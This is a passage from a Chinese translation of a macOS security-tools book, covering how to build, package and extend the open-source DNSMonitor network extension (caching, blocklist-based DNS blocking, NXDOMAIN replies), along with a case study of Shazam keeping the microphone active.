在本章中,我首先向你展示了 OverSight 如何利用各种 CoreAudio 和 CoreMediaIO API 注册关于麦克风和摄像头激活和停用的通知。接着,我们探讨了该工具如何使用自定义日志监视器来识别负责该事件的进程。最后,我向你展示了用户如何轻松扩展 OverSight,以便在检测到事件时执行外部脚本或二进制文件,以及停止 OverSight 的逻辑。

在下一章中,我们将继续探索构建强大安全工具的方法,重点介绍如何创建一个 DNS 监视器,能够检测并阻止未经授权的网络访问。

注释

  1. 1.  Selena Larson, “Mac 恶意软件悄悄监视计算机用户,”CNN Money,2017 年 7 月 24 日,https://money.cnn.com/2017/07/24/technology/mac-fruitfly-malware-spying/index.html.

  2. 2.  美国司法部,公共事务办公室,“俄亥俄州计算机程序员因感染成千上万台计算机并获取受害者通信及个人信息而被起诉,”新闻稿编号 18-21,2018 年 1 月 10 日,https://www.justice.gov/opa/pr/ohio-computer-programmer-indicted-infecting-thousands-computers-malicious-software-and.

  3. 3.  “AVFoundation,”Apple 开发者文档,https://developer.apple.com/documentation/avfoundation?language=objc.

  4. 4.  “AVCapture Device,”Apple 开发者文档,https://developer.apple.com/documentation/avfoundation/avcapturedevice?language=objc.

  5. 5.  “doesNotRecognizeSelector:,”Apple 开发者文档,https://developer.apple.com/documentation/objectivec/nsobject/1418637-doesnotrecognizeselector?language=objc.

  6. 6.  “performSelector 可能会导致内存泄漏,因为它的选择器未知,”Stack Overflow,2018 年 11 月 18 日,https://stackoverflow.com/a/20058585.

  7. 7.  《I/O 注册表》,苹果文档档案,最后更新于 2014 年 4 月 9 日,https://developer.apple.com/library/archive/documentation/DeviceDrivers/Conceptual/IOKitFundamentals/TheRegistry/TheRegistry.html

  8. 8.  你可以在 Corin Faife 的文章“这位 Mac 黑客的代码如此优秀,以至于企业不断窃取”中了解更多这一系列事件的细节,发表于《The Verge》,2022 年 8 月 11 日,https://www.theverge.com/2022/8/11/23301130/patrick-wardle-mac-code-corporations-stealing-black-hat

第十三章:13 DNS 监控器

在本章中,我将专注于构建一个可部署的基于主机的网络监控器的实际操作,能够代理并阻止来自未识别进程或指向不可信域的 DNS 流量。

第七章介绍了一个基本的 DNS 代理设计,能够通过苹果的NetworkExtension 框架监控流量。然而,在那一章中,我跳过了许多构建可部署工具所需的步骤,包括获取必要的权限和正确地将扩展打包到主机应用程序中。本章将讨论这些任务,以及如何扩展一个基本的监控器,例如通过解析 DNS 查询和响应来阻止那些出现在封锁列表中的查询。

你可以在开源的 DNSMonitor 中找到这些能力和更多内容,DNSMonitor 是 Objective-See 工具套件的一部分(https://github.com/objective-see/DNSMonitor)。我建议你在阅读本章时下载该项目或参考仓库中的源代码,因为接下来的讨论常常为了简洁起见省略了部分代码。

网络扩展部署先决条件

现代网络监控工具,包括 DNSMonitor,利用了网络扩展框架。因为它们作为系统扩展打包并以独立进程运行,具有提升的权限,苹果要求开发者以非常特定的方式授予权限并打包这些扩展。在第十一章中,我们详细讲解了如何获取端点安全权限,并在 Apple Developer 门户中为该工具创建配置文件。如果你正在构建一个网络扩展,你将遵循类似的流程,虽然有一些关键的不同之处。

首先,你需要生成两个配置文件,一个用于网络扩展,另一个用于包含并加载扩展的应用程序。按照第十一章中描述的流程,在 Apple Developer 网站上为每个项目创建一个 ID。当要求选择扩展的能力时,勾选网络扩展,这对应于com.apple.developer.networking.networkextension 权限。任何开发者都可以使用这个权限(与端点安全权限不同,后者需要苹果的明确批准)。对于应用程序,选择相同的能力,以及系统扩展,这将允许应用程序安装、加载和管理扩展。一旦你创建了这两个 ID,就可以创建这两个配置文件。

现在,你必须在 Xcode 中安装每个配置文件。如果你查看DNSMonitor项目,你会看到它包含两个目标:扩展和它的宿主应用程序。当你点击这两个目标中的任何一个时,“签名和功能”选项卡应该提供一个选项来指定相关的配置文件。苹果的开发者文档建议通过取消勾选“自动管理签名”选项来启用手动签名。^(1)

“签名和功能”选项卡还会显示 DNSMonitor 项目已为扩展和应用程序启用了额外的功能,这些功能与我们在构建配置文件时指定的功能匹配。扩展指定了网络扩展功能,而应用程序则同时指定了网络扩展和系统扩展。如果你自己构建网络扩展,你必须通过点击功能旁边的+手动添加这些功能。

在幕后,添加这些功能会将相关的权限应用到每个目标的entitlements.plist文件中。不幸的是,我们必须手动编辑这些entitlements.plist文件。添加网络扩展功能并勾选 DNS 代理将添加一个值为 dns-proxy 的权限,但要部署一个使用开发者 ID 签名的扩展,我们需要 dns-proxy-systemextension 的值。^(2) 列表 13-1 展示了扩展的entitlements.plist文件中的内容。

<?xml version="1.0" encoding="UTF-8"?>
...
<plist version="1.0">
<dict>
    <key>**com.apple.developer.networking.networkextension**</key>
    <array>
        <string>**dns-proxy-systemextension**</string>
    </array>
    ... 

列表 13-1:我们必须授权网络扩展并指定扩展类型。

该文件包括网络扩展权限作为一个键,并且包含一个数组,其中保存了所有扩展类型。

打包扩展

任何使用网络扩展的工具都必须将其实现为系统扩展,并以特定的方式结构化自身,以便 macOS 可以验证并激活它。具体来说,苹果要求任何系统扩展都必须打包在一个捆绑包内,例如应用程序,并放在捆绑包的Contents/Library/SystemExtensions/目录下。一个配置文件还必须授权使用受限权限,而且我们不能将配置文件直接嵌入到独立的二进制文件中。

基于这些原因,DNSMonitor 包含两个组件:宿主应用程序和网络扩展。^(3) 为了正确打包扩展,我们在构建阶段下指定应用程序组件对扩展的依赖。我们将目标设置为系统扩展,这样 macOS 在构建应用程序时会将扩展复制到应用程序的Contents/Library/SystemExtensions/目录中(图 13-1)。

图 13-1:应用程序包含一个构建步骤,将系统扩展嵌入其中。

现在让我们关注扩展的Info.plist文件(列表 13-2)。

<?xml version="1.0" encoding=”UTF-8"?>
...
<plist version="1.0">
<dict>
    ...
  ❶ <key>CFBundlePackageType</key>
 <string>$(PRODUCT_BUNDLE_PACKAGE_TYPE)</string>
    ...
  ❷ <key>NetworkExtension</key>
    <dict>
      ❸ <key>NEMachServiceName</key>
        <string>$(TeamIdentifierPrefix)com.objective-see.dnsmonitor</string>
      ❹ <key>NEProviderClasses</key>
            <dict>
                <key>com.apple.networkextension.dns-proxy</key>
                <string>DNSProxyProvider</string>
            </dict>
        </dict>
        ... 

Listing 13-2:扩展的 Info.plist 文件包含特定于网络扩展的各种键值对。

我们将 CFBundlePackageType 设置为一个变量 ❶,编译器会将其替换为项目的类型,systemextension。NetworkExtension 键保存一个字典,其中包含与网络扩展相关的键值对 ❷。NEMachServiceName 键指定扩展可以用于 XPC 通信的 Mach 服务的名称 ❸。此外,请注意 NEProviderClasses 键,其中包含网络扩展的类型以及在 DNSMonitor 中实现所需网络扩展逻辑的类名 ❹。在第七章中,我提到过这个类应该实现 NEDNSProxyProvider 委托方法。我们还必须将扩展组件链接到 NetworkExtension 框架。

应用程序的 entitlements.plist 文件,如 Listing 13-3 所示,与扩展的文件非常相似。

<?xml version="1.0" encoding="UTF-8"?>
...
<plist version="1.0">
<dict>
    <key>com.apple.developer.networking.networkextension</key>
    <array>
        <string>dns-proxy-systemextension</string>
    </array>
    <key>com.apple.developer.system-extension.install</key>
    <true/>
    <key>com.apple.security.application-groups</key>
    <array>
        <string>$(TeamIdentifierPrefix)com.objective-see.dnsmonitor</string>
    </array>
</dict>
</plist> 

Listing 13-3:应用程序的 entitlements.plist 文件还包含特定于网络扩展的键值对。

两者的一个区别是添加了 com.apple.developer.system-extension.install 权限,设置为 true。我们通过授予应用程序系统扩展功能间接将此权限添加到应用程序的配置文件中。应用程序需要此权限才能安装并激活网络扩展。

工具设计

现在我已经解释了 DNSMonitor 的组成部分,让我们关注它是如何工作的,从启动应用程序开始。

应用程序

你可以在DNSMonitor/App/main.m文件中找到应用程序的初始化逻辑。经过一些基本的参数解析(例如,检查用户是否通过 -h 标志启动了应用程序以显示默认用法),应用程序会获取负责的父进程的 bundle ID。如果这个父进程是 Finder 或 Dock(在用户双击应用程序图标的场景中,通常是这些父进程),应用程序会显示一个提示,说明 DNSMonitor 应该从终端运行。

此外,除非我们从 Applications 目录运行 DNSMonitor,否则当应用程序调用 OSSystemExtensionRequest request:didFailWithError: 委托方法来激活扩展时,它将失败:^(4)

ERROR: method '-[Extension request:didFailWithError:]' invoked with
<OSSystemExtensionActivationRequest: 0x600003a8f150>, Error Domain=
OSSystemExtensionErrorDomain Code=3 "App containing System Extension
to be activated must be in /Applications folder" UserInfo={NSLocalized
Description=App containing System Extension to be activated must be in
/Applications folder} 

因此,当从终端运行时,DNSMonitor 会在加载网络扩展组件之前检查它是否从正确的目录执行。如果不是,它会打印错误信息并退出(Listing 13-4)。

if(YES != [NSBundle.mainBundle.bundlePath hasPrefix:@"/Applications/"]) {
    ...
    NSLog(@"\n\nERROR: As %@ uses a System Extension, Apple requires it must
    be located in /Applications\n\n", [APP_NAME stringByDeletingPathExtension]);
    goto bail;
} 

Listing 13-4:检查监视器是否从 /Applications 目录运行

为了将捕获的 DNS 流量从扩展传递到应用程序,以便我们可以将其显示给用户,我们使用系统日志。在 Listing 13-5 中,应用程序初始化了一个自定义日志监视器,并使用谓词匹配由(即将加载的)网络扩展写入日志的消息。然后它会将任何接收到的消息打印到终端。

NSPredicate* predicate =
[NSPredicate predicateWithFormat:@"subsystem='com.objective-see.dnsmonitor'"];

LogMonitor* logMonitor = [[LogMonitor alloc] init];
[logMonitor start:predicate level:Log_Level_Default eventHandler:^(OSLogEventProxy* event) {
    ...
    NSLog(@"%@", event.composedMessage);
}]; 

示例 13-5:应用程序的日志监视器获取在扩展中捕获的 DNS 流量。

在其他情况下,你可能希望使用更强大的机制,如 XPC,来在扩展和应用程序之间来回传递数据,但对于一个简单的命令行工具,通用日志子系统已经足够。

在加载网络扩展之前,应用程序设置了一个中断信号(SIGINT)的信号处理器。因此,当用户按下 CTRL-C 时,应用程序可以卸载扩展并优雅地退出(示例 13-6)。

❶ signal(SIGINT, SIG_IGN);
dispatch_source_t source = dispatch_source_create(DISPATCH_SOURCE_TYPE_SIGNAL,
❷ SIGINT, 0, dispatch_get_main_queue());
❸ dispatch_source_set_event_handler(source, ^{
    ...
    stopExtension();
    exit(0);
});
dispatch_resume(source); 

示例 13-6:设置自定义中断信号处理器

首先,代码忽略默认的 SIGINT 操作 ❶。然后,它为中断信号创建一个调度源 ❷,并使用 dispatch_source_set_event_handler API 设置一个自定义处理器 ❸。这个自定义处理器调用一个辅助函数 stopExtension,在退出之前卸载并移除网络扩展。虽然这里没有显示,但监视器可以通过命令行选项执行,以便在退出时跳过卸载扩展。这避免了每次重启监视器时都需要重新启动并重新批准扩展。

最后,应用程序安装并激活了网络扩展。由于我在第七章中详细讲解了这个过程,因此在这里不再重复,只需要说明它涉及发出 OSSystemExtensionRequest 请求并配置 NEDNSProxyManager 对象。你可以在 DNSMonitor 的 App/Extension.m 文件中找到完整的安装和激活代码。

在网络扩展运行时,应用程序告知当前的运行循环继续,直到接收到来自用户的中断信号,因为它需要保持运行以打印捕获的 DNS 流量。

扩展

在幕后,当一个应用程序调用 API 来安装和激活网络扩展时,macOS 会将扩展从应用程序的 Contents/Library/SystemExtensions/ 目录复制到一个特权目录,/Library/SystemExtensions//,对其进行验证,然后以 root 权限执行它。运行 ps 命令以显示已激活的网络扩展进程信息,例如其权限级别、进程 ID 和路径:

% **ps aux**
...
root 38943 ... /Library/SystemExtensions/8DC3FC3A-825E-49C3-879B-6B0C08388238/
com.objective-see.dnsmonitor.extension.systemextension/Contents/MacOS/com
.objective-see.dnsmonitor.extension 

一旦加载,DNSMonitor 的扩展通过 os_log_create API 打开一个通用日志子系统的句柄,因为它通过日志消息将捕获的 DNS 流量传递给应用程序。日志 API 有两个参数,允许你指定子系统和类别(示例 13-7)。

#define BUNDLE_ID "com.objective-see.dnsmonitor"

os_log_t logHandle = os_log_create(BUNDLE_ID, "extension"); 

示例 13-7:在扩展中打开日志句柄

通过指定一个子系统或类别,你可以轻松创建只返回特定消息的谓词,正如我们在应用程序中所做的那样(列表 13-5)。接下来,扩展调用 NEProvider 类的 startSystemExtensionMode 方法,你可能记得该方法会实例化在扩展的Info.plist 文件中 NEProviderClasses 键下指定的类。扩展使用它的 DNSProxyProvider 类,该类继承自 NEDNSProxyProvider 类(列表 13-8)。

@interface DNSProxyProvider : NEDNSProxyProvider
    ...
@end 

列表 13-8:DNSProxyProvider 类的接口

在第七章中,我描述了 DNS 监视器如何实现各种 NEDNSProxyProvider 方法,比如至关重要的 handleNewFlow:,该方法会自动为所有新的 DNS 流调用。因此,我在这里不再详细讲解这一部分,尽管你可以在Extension/DNSProxyProvider.m 文件中找到完整的代码。

前面的章节没有讲解扩展如何通过日志将消息发送到应用程序,如何构建 DNS 缓存,以及如何阻止特定的请求或响应。接下来,我们将更详细地探讨这些主题。

进程间通信

我提到过,当 DNSMonitor 的网络扩展接收到新的 DNS 请求或响应时,它会使用通用日志子系统将消息发送到应用程序的日志监视器,后者会将其打印到终端。你可以在一个名为 printPacket 的辅助方法中找到处理将 DNS 流量写入日志的扩展逻辑(列表 13-9)。

-(void)printPacket:(dns_reply_t*)packet flow:(NEAppProxyFlow*)flow {
    ...
    char* bytes = NULL;
    size_t length = 0;

  ❶ NSMutableDictionary* processInfo = [self getProcessInfo:flow];

    os_log(logHandle, "PROCESS:\n%{public}@\n", processInfo);

  ❷ FILE* fp = open_memstream(&bytes, &length);
  ❸ dns_print_reply(packet, fp, 0xFFFF);
  ❹ fflush(fp);

    os_log(logHandle, "PACKET:\n%{public}s\n", bytes);

    fclose(fp);
    free(bytes);
} 

列表 13-9:将 DNS 数据包打印到通用日志

一个名为 getProcessInfo: 的辅助函数创建了一个字典,用于描述生成 DNS 流量的进程。然后,代码通过 os_log API ❶ 将字典写入日志。

写入 DNS 数据包的字节稍微复杂一些,因为 macOS 的 dns_print_reply API(用于格式化原始 DNS 数据包)期望写入一个文件流指针(FILE *),例如 stdout。另一方面,通用日志 API 使用的是 os_log_t,而不是 FILE *。我们通过让 dns_print_reply 间接写入内存缓冲区来绕过这个小障碍,之后我们可以通过 os_log 将其记录下来。

为了让 dns_print_reply 写入缓冲区,我们传递给它一个文件句柄,该句柄背后是一个缓冲区,它是通过常常被忽视的 open_memstream API ❷ 创建的。dns_print_reply 函数格式化原始 DNS 数据包,然后通过文件句柄 ❸ 将其写入。调用 fflush 确保所有缓冲的数据被写入底层内存 ❹ 后,我们通过第二次调用 os_log 将解析后的 DNS 数据包写入通用日志。正如我之前提到的,应用程序组件中的日志监视器现在可以接收该消息并将其打印到用户的终端。

构建和转储 DNS 缓存

我总是感到惊讶的是,macOS 并没有提供一种方法来转储缓存的 DNS 解析结果,其中包含请求的域名和解析后的 IP 地址。然而,正如你将在本节中看到的那样,DNS 缓存转储在 DNS 监控程序中足够容易实现。

当 DNSMonitor 网络扩展启动时,它会创建一个全局数组,用于存储 DNS 请求(问题)及其响应(答案)之间映射的字典。它在名为 cache:的辅助方法中实现了此逻辑,该方法接受一个解析过的 DNS 响应数据包,包含问题和任何答案。

缓存:方法中的大部分代码用于从 DNS 响应数据包中提取问题和答案,该数据包可能包含多个问题和答案。我们在第七章中介绍了这个过程,因此这里不再重复,但你可以在Extension/DNSProxyProvider.m中找到该方法的完整代码。

一旦我们从 DNS 响应数据包中提取了所有问题和答案,就会将它们添加到全局缓存数组 dnsCache 中(列表 13-10)。

-(void)cache:(dns_reply_t*)packet {
    NSMutableArray* answers = [NSMutableArray array];
    NSMutableArray* questions = [NSMutableArray array];

    // Code to extract questions and answers from DNS response packet removed

  ❶ @synchronized(dnsCache) {
      ❷ if(dnsCache.count >= MAX_ENTRIES) {
            [dnsCache removeObjectsInRange:NSMakeRange(0, MAX_ENTRIES/2)];
        }

      ❸ for(NSString* question in questions) {
            if(0 != answers.count) {
              ❹ [dnsCache addObject:@{question:answers}];
            }
        }
        ...
    }
} 

列表 13-10:将 DNS 问题和答案保存到缓存

由于 DNS 响应可能异步到达并被处理,我们通过将全局缓存包裹在@synchronized 代码块❶中来同步对缓存的访问。在添加另一个条目之前,代码检查缓存是否变得过大。如果是,它会直接修剪前半部分,以淘汰最旧的条目❷。最后,它使用 NSMutableArray 的 addObject:方法为每个问题及其答案添加一个条目❸。请注意,代码片段@{question:answers}使用了 Objective-C 的简写@{}来创建一个字典,其中键是问题,值是一个答案列表❹。

此时,扩展正在缓存 DNS 问题和答案。通过解析 NoStarch.com 和 Objective-See.org 生成的条目如下所示:

[
    {nostarch.com:["104.20.120.46", "104.20.121.46"]},
    {objective-see.org:["185.199.110.153", "185.199.109.153",
    "185.199.111.153", "185.199.108.153"]}
] 

为了便于转储此缓存,扩展为 SIGUSR1 信号安装了一个信号处理程序,也叫做用户信号 1(列表 13-11)。

signal(SIGUSR1, dumpDNSCache);

列表 13-11:为用户信号 1 安装信号处理程序

现在,任何具有足够权限的进程都可以向扩展发送 SIGUSR1 信号。以下是在终端中手动执行此操作的方法:

% **sudo kill -SIGUSR1 `pgrep com.objective-see.dnsmonitor.extension`**

kill 命令会友好地向扩展发送 SIGUSR1 信号,我们可以通过 pgrep 查找扩展的进程 ID。由于扩展以 root 权限运行,我们必须使用 sudo 提升权限来发送信号。

如列表 13-11 中代码所示,扩展将 SIGUSR1 信号的处理程序设置为名为 dumpDNSCache 的函数。让我们来看看这个函数。它在列表 13-12 中展示,直接将每个缓存条目写入通用日志。

void dumpDNSCache(int signal) {
    for(NSDictionary* entry in dnsCache) {
      ❶ NSString* question = entry.allKeys.firstObject;
      ❷ os_log(logHandle, "%{public}@:%{public}@", question, entry[question]);
    }
    ...
} 

列表 13-12:当代码接收到 SIGUSR1 信号时,它会将缓存转储到日志中。

在 for 循环中,代码遍历其全局 DNS 缓存中的所有条目。回想一下,这个缓存是一个字典数组。每个条目的字典包含一个表示 DNS 问题的键,代码通过 allKeys 数组的 firstObject 属性提取它 ❶。然后,使用 os_log,它将问题和相应的答案写入日志 ❷。请注意使用 public 关键字,这告诉日志子系统不要编辑正在记录的缓存数据。

当你在 DNSMonitor 应用组件运行时向扩展发送 SIGUSR1 信号,它会自动处理包含转储缓存的日志消息并打印出来:

Dumping DNS Cache:
DNSMonitor[2027:25144] www.apple.com:(
    "23.2.84.211"
)
DNSMonitor[2027:25144] nostarch.com:(
    "104.20.120.46",
    "104.20.121.46"
)
DNSMonitor[2027:25144] objective-see.org:(
    "185.199.111.153",
    "185.199.110.153",
    "185.199.109.153",
    "185.199.108.153"
) 

因为扩展将缓存中的条目写入通用日志,你也可以通过 log 命令直接查看这些消息:

% **log stream --predicate="subsystem='com.objective-see.dnsmonitor'"**

然而,我建议指定过滤条件,因为如果不这样做,你会被系统其他部分的无关日志消息淹没。

阻止 DNS 流量

到目前为止,我们集中讨论了被动操作,比如打印 DNS 请求和响应以及转储扩展构建的缓存。但是,如果我们想扩展监控器来阻止某些流量呢?第七章介绍了苹果官方使用网络扩展来阻止流量的方法,该扩展实现了一个过滤数据提供者,用于允许、丢弃或暂停网络流。Objective-See 的开源防火墙 LuLu 采用了这种方法。^(5)

事实证明,我们还可以使用 NEDNSProxyProvider 对象来阻止 DNS 流量。因为我们已经代理了所有 DNS 流量,所以没有什么能阻止我们关闭我们选择的任何流。坚持使用 NEDNSProxyProvider 类的一个好处是,系统只会将 DNS 流量路由到扩展中。因为我们不关心其他类型的流量,这使我们的代码保持高效。另一方面,过滤数据提供者会让我们负责检查和响应所有网络流。

阻止 DNS 流量的一种简单方法是使用阻止列表。这个阻止列表可以包含已知恶意软件指挥与控制服务器、不道德的互联网服务提供商,甚至是跟踪用户或展示广告的服务器的域名和 IP 地址。每当应用程序尝试解析一个域名时,macOS 将通过扩展代理该请求,扩展可以检查该请求,并在域名在列表中时阻止它。反过来,一旦远程 DNS 服务器处理了请求并解析了域名,macOS 将通过扩展将响应代理回应用程序,然后再发送给发起原始请求的应用程序。这给扩展一个机会来检查响应,如果响应包含被禁止的 IP 地址,则阻止它。

你可以在扩展中找到屏蔽域名或 IP 地址的逻辑,这些逻辑位于名为 shouldBlock:的方法中。该方法接受一个解析后的 DNS 数据包,类型为 dns_reply_t(用于请求和响应),并返回一个布尔值,指示是否屏蔽该请求。该方法的逻辑相当复杂,因为它必须同时处理 IPv4 和 IPv6,所以我不会在这里展示完整的代码。列表 13-13 包含了该方法检查请求是否包含任何屏蔽列表中的域名的部分代码。

-(BOOL)shouldBlock:(dns_reply_t*)packet {
    BOOL block = NO;
    dns_header_t* header = packet->header;

    if(DNS_FLAGS_QR_QUERY == (header->flags & DNS_FLAGS_QR_MASK)) { ❶
        for(uint16_t i = 0; i < header->qdcount; i++) { ❷
 NSString* question = [NSString stringWithUTF8String:packet->question[i]->name]; ❸
            if(YES == [self.blockList containsObject:question]) { ❹
                block = YES;
                goto bail;
            }
        }
    }
    ...

bail:
    return block;
} 

列表 13-13:检查需要屏蔽的域名

该代码首先初始化一个 dns_header_t 指针,指向解析后 DNS 数据包的头部。该头部在 Apple 的dns_util.h文件中定义,包含标志(指示 DNS 数据包类型)以及各种计数信息,如问题和答案的数量:

typedef struct {
    uint16_t xid;
    uint16_t flags;
    uint16_t qdcount;
    uint16_t ancount;
    uint16_t nscount;
    uint16_t arcount;
} dns_header_t; 

列表 13-13 中的代码检查头部的 flags 成员,查看 DNS_FLAGS_QR_QUERY 位是否被设置 ❶。该标志表示 DNS 数据包是一个查询,包含一个或多个需要解析的域名。(你不会在任何头文件中找到类似 DNS_FLAGS_QR_QUERY 的常量,因为 Apple 将它们定义在dns_util.c中,因此你可能需要将它们直接复制到你自己的代码中。)假设 DNS 数据包包含一个查询,代码将遍历请求中的每个域名 ❷。域名的数量存储在头部结构的 qdcount 成员中,而需要解析的每个域名可以在数据包的 question 数组中找到。代码提取每个域名,并将其转换为更易处理的 Objective-C 字符串对象 ❸,然后检查它是否与全局屏蔽列表中的任何项匹配 ❹。如果匹配,代码设置标志,跳出循环并返回。

尽管这里没有展示,但检查响应数据包的代码是类似的。响应数据包在头部结构中的 ancount 成员中列出了答案的数量,并在 answer 数组中提供了这些答案。Apple 在dns_util.h头文件中定义了 dns_resource_record_t 结构体,用于存储这些答案。这个结构体包含多个成员,其中包括一个 dnstype 成员,它指定了答案的类型,例如 A 或 CNAME。因此,要从 DNS A 记录中提取 IPv4 地址到一个 Objective-C 对象,你可能会写出类似于列表 13-14 的代码。

if(ns_t_a == packet->answer[i]->dnstype) {
    NSString* address =
    [NSString stringWithUTF8String:inet_ntoa(packet->answer[i]->data.A->addr)];

    // Add code here to process the extracted answer (IP address).
} 

列表 13-14:从 DNS A 记录中提取答案

如果一个问题或答案与 DNSMonitor 的全局屏蔽列表中的某个条目匹配,shouldBlock:方法将返回 YES,即 Objective-C 中的 true。

shouldBlock:方法的调用位置决定了流的关闭方式。例如,阻止一个查询非常容易,因为 DNSMonitor 实际上是一个代理,负责与远程 DNS 服务器进行实际连接,因此我们可以使用 closeWriteWithError:方法来关闭本地流(参见列表 13-15)。

BOOL block = [self shouldBlock:parsedPacket];
if(YES == block) {
    [flow closeWriteWithError:nil];
    return;
} 

列表 13-15:关闭本地流

为了阻止一个答案,我们应该确保也清理与提供答案的 DNS 服务器的远程连接(列表 13-16)。

nw_connection_receive(connection, 1, UINT32_MAX, ^(dispatch_data_t content,
nw_content_context_t context, bool is_complete, nw_error_t receive_error) {
    ...
    BOOL block = [self shouldBlock:parsedPacket];
    if(YES == block) {
        [flow closeWriteWithError:nil];
        nw_connection_cancel(connection);
        return;
    }
}); 

列表 13-16:关闭远程流

DNSMonitor 使用 nw_connection_receive API 来代理响应。因此,为了阻止任何响应,它首先关闭流,然后调用 nw_connection_cancel 来取消连接。

为了完整性,我应该提到,你还可以通过返回一个响应,将响应码设置为所谓的名称错误,或者更简单地说,NXDOMAIN,来处理 DNS 阻断。这样的响应将告知请求方该域名未找到,即解析失败。当 DNSMonitor 以-nx 命令行选项执行时,会采用这种方法。

要生成这样的响应,你可以拿到 DNS 请求或响应数据包,并按照列表 13-17 所示的方式修改其头部中的标志位。

dns_header_t* header = (dns_header_t *)packet.bytes;

header->flags |= htons(0x8000);
header->flags &= ~htons(0xF);
header->flags |= htons(0x3); 

列表 13-17:构造 NXDOMAIN 响应

代码期望在一个可变数据对象中接收 DNS 数据包。它首先将数据包的字节类型转换为 dns_header_t 指针。接下来,它将头部中标志字段的 QR 位设置为表示数据包是响应。随后,它清除 RCODE(响应码)位,然后仅设置 NXDOMAIN 响应码。你可以在定义 DNS 技术规范的 RFP 1035 中进一步了解 DNS 头部及这些字段。^(6)

分类端点

与其使用硬编码的阻止列表,一个工具可以通过启发式方法确定是否阻止 DNS 请求或响应,例如,通过检查历史 DNS 记录、WHOIS 数据以及任何 SSL/TLS 证书。^(7)让我们更仔细地看一下这些技术,使用 3CX 供应链攻击作为例子。攻击中使用的3cx.cloud域名是 3CX 基础设施的合法一部分,但攻击者控制的msstorageboxes.com域名,由恶意代码引入应用程序,带来了一些警告信号:

历史 DNS 记录 在 2023 年 3 月的 3CX 供应链攻击发生时,msstorageboxes.com域名只有一条 DNS 记录,这个域名是在几个月前才注册的。受信任的域名通常具有较长的历史和许多 DNS 记录。另一方面,黑客通常在攻击前注册其命令与控制服务器使用的域名,并在攻击后不久将其拆除。当然,黑客有时也会利用之前合法的域名,这些域名可能是他们通过标准域名采购流程购买的,或者在域名注册过期时获得的。你会在该域名的历史 DNS 记录中看到这些活动的反映。

隐藏的 WHOIS 数据 攻击者出于隐私原因,隐藏了 msstorageboxes.com 域名的 WHOIS 数据。对于一家大型知名公司而言,隐藏其身份是不寻常的。例如,合法的 3cx.cloud 域名清晰地显示其注册在 3CX Software DMCC 名下。

域名注册商 攻击者通过 NameCheap 注册了 msstorageboxes.com 域名。知名公司通常会选择更专注于企业的域名注册商,例如 CloudFlare。

结论

一款能够追踪所有请求和响应的 DNS 监控工具,是恶意软件检测的强大工具。在这一章中,我在 第七章的基础上,描述了如何在 Apple 的 NetworkExtension 框架之上实现这样的监控工具。我向你展示了如何为工具添加功能,比如缓存和阻止功能,以扩展其功能。

在本书的最后一章,我们将把像这样的 DNS 监控工具与现实中的 Mac 恶意软件进行对抗。继续阅读,看看两者的表现如何!

备注

  1. 1.  “网络扩展授权,”Apple 开发者文档,https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_developer_networking_networkextension

  2. 2.  psichel,“com.apple.developer.networking.networkextension 授权不匹配 PP,”Apple 开发者论坛,2020 年 11 月 15 日,https://developer.apple.com/forums/thread/667045

  3. 3.  “使用受限授权签名守护进程,”Apple 开发者文档,https://developer.apple.com/documentation/xcode/signing-a-daemon-with-a-restricted-entitlement

  4. 4.  “安装系统扩展和驱动程序,”Apple 开发者文档,https://developer.apple.com/documentation/systemextensions/installing-system-extensions-and-drivers?language=objc

  5. 5.  请参阅 https://github.com/objective-see/LuLu

  6. 6.  请参阅《域名—实现与规范》,RFC 1035,互联网工程任务组,https://datatracker.ietf.org/doc/html/rfc1035

  7. 7.  Esteban Borges,“如何使用被动 DNS 进行威胁狩猎”,Security Trailshttps://securitytrails.com/blog/threat-hunting-using-passive-dns

第十四章:14 个案例研究

在本章的最后,我展示了若干个案例研究,涵盖了从正常应用程序出现问题到复杂的国家级攻击等各种情况。在每个案例中,我将演示本书中讨论的基于启发式的检测方法如何成功地揭示威胁,即使事先没有任何相关知识。

Shazam 的麦克风访问

在 OverSight 发布约一年后,我收到了一个名叫 Phil 的用户发来的电子邮件,邮件内容如下:“多亏了 OverSight,我才弄明白为什么我的麦克风总是监视我。顺便告诉你,Shazam 小部件即使你在应用程序中将切换开关设置为关闭,它仍然保持麦克风处于激活状态。”

Shazam 是一款在 2010 年代中期流行的应用程序,它可以在歌曲播放时识别歌曲的名称和艺术家。为了验证 Phil 的大胆说法(并排除 OverSight 中可能的 bug),我决定调查这个问题。我在我的 Mac 上安装了 Shazam,打开它并指示它开始监听。毫不奇怪,这触发了一个 OverSight 事件,表明 Shazam 启动了计算机内建的麦克风。

然后,我关闭了 Shazam。与预期的禁用警告不同,OverSight 没有显示任何内容。为了确认 Shazam 是否仍在监听,我对该应用程序进行了逆向工程。检查 Shazam 的二进制代码时,我发现了一个名为 SHKAudioRecorder 的核心类,并且似乎与其相关的方法命名为 isRecording 和 stopRecording。在以下的调试器输出中,您可以看到我在内存地址 0x100729040 遇到了这个类的一个实例。我们可以查看这个 SHKAudioRecorder 对象,甚至直接调用它的方法或检查它的属性,看看 Shazam 是否真的仍在录音:

(lldb) **po [0x100729040 className]**
SHKAudioRecorder

(lldb) **p (BOOL)[0x100729040 isRecording]**
(BOOL) $19 = YES 

进一步分析显示,要停止录音,stopRecording 方法会调用 Apple 的 Core Audio AudioOutputUnitStop 函数。到目前为止,一切正常。然而,进一步调查显示,当用户关闭录音时,Shazam 实际上从未调用过这个方法。这强烈暗示 Shazam 保持麦克风处于激活并监听状态!确实,正如调试器输出所示,在关闭 Shazam 后查询 isRecording 属性,仍然显示它被设置为 YES,这是 Objective-C 中表示“真”的值。

显然,当 Shazam 的宣传材料声称该应用程序将“倾听您的 Mac”时,他们可不是开玩笑!我联系了公司,他们告诉我,这种未文档化的行为是该应用程序设计的一部分,实际上对用户有益:

感谢您的联系并向我们报告这个问题。iOS 和 Mac 应用程序使用共享的 SDK,因此您在 Mac 上看到的持续录音情况。我们在 iOS 上使用这种持续录音是为了性能优化,帮助我们为用户提供更快速的歌曲匹配。

虽然 Shazam 最初忽视了我的担忧,但当媒体介入后,它改变了态度,发布了诸如“Shazam 总是在监听你所做的一切”^(1) 和“嘘!Shazam 总是在监听——即使它已经被‘关闭’”^(2) 等标题的报道。对此,Shazam 推出了一个更新,使得当应用被切换到关闭状态时,麦克风会被关闭^(3)。(然而,显然没有什么叫做坏公关;第二年,苹果以 4 亿美元收购了 Shazam。)

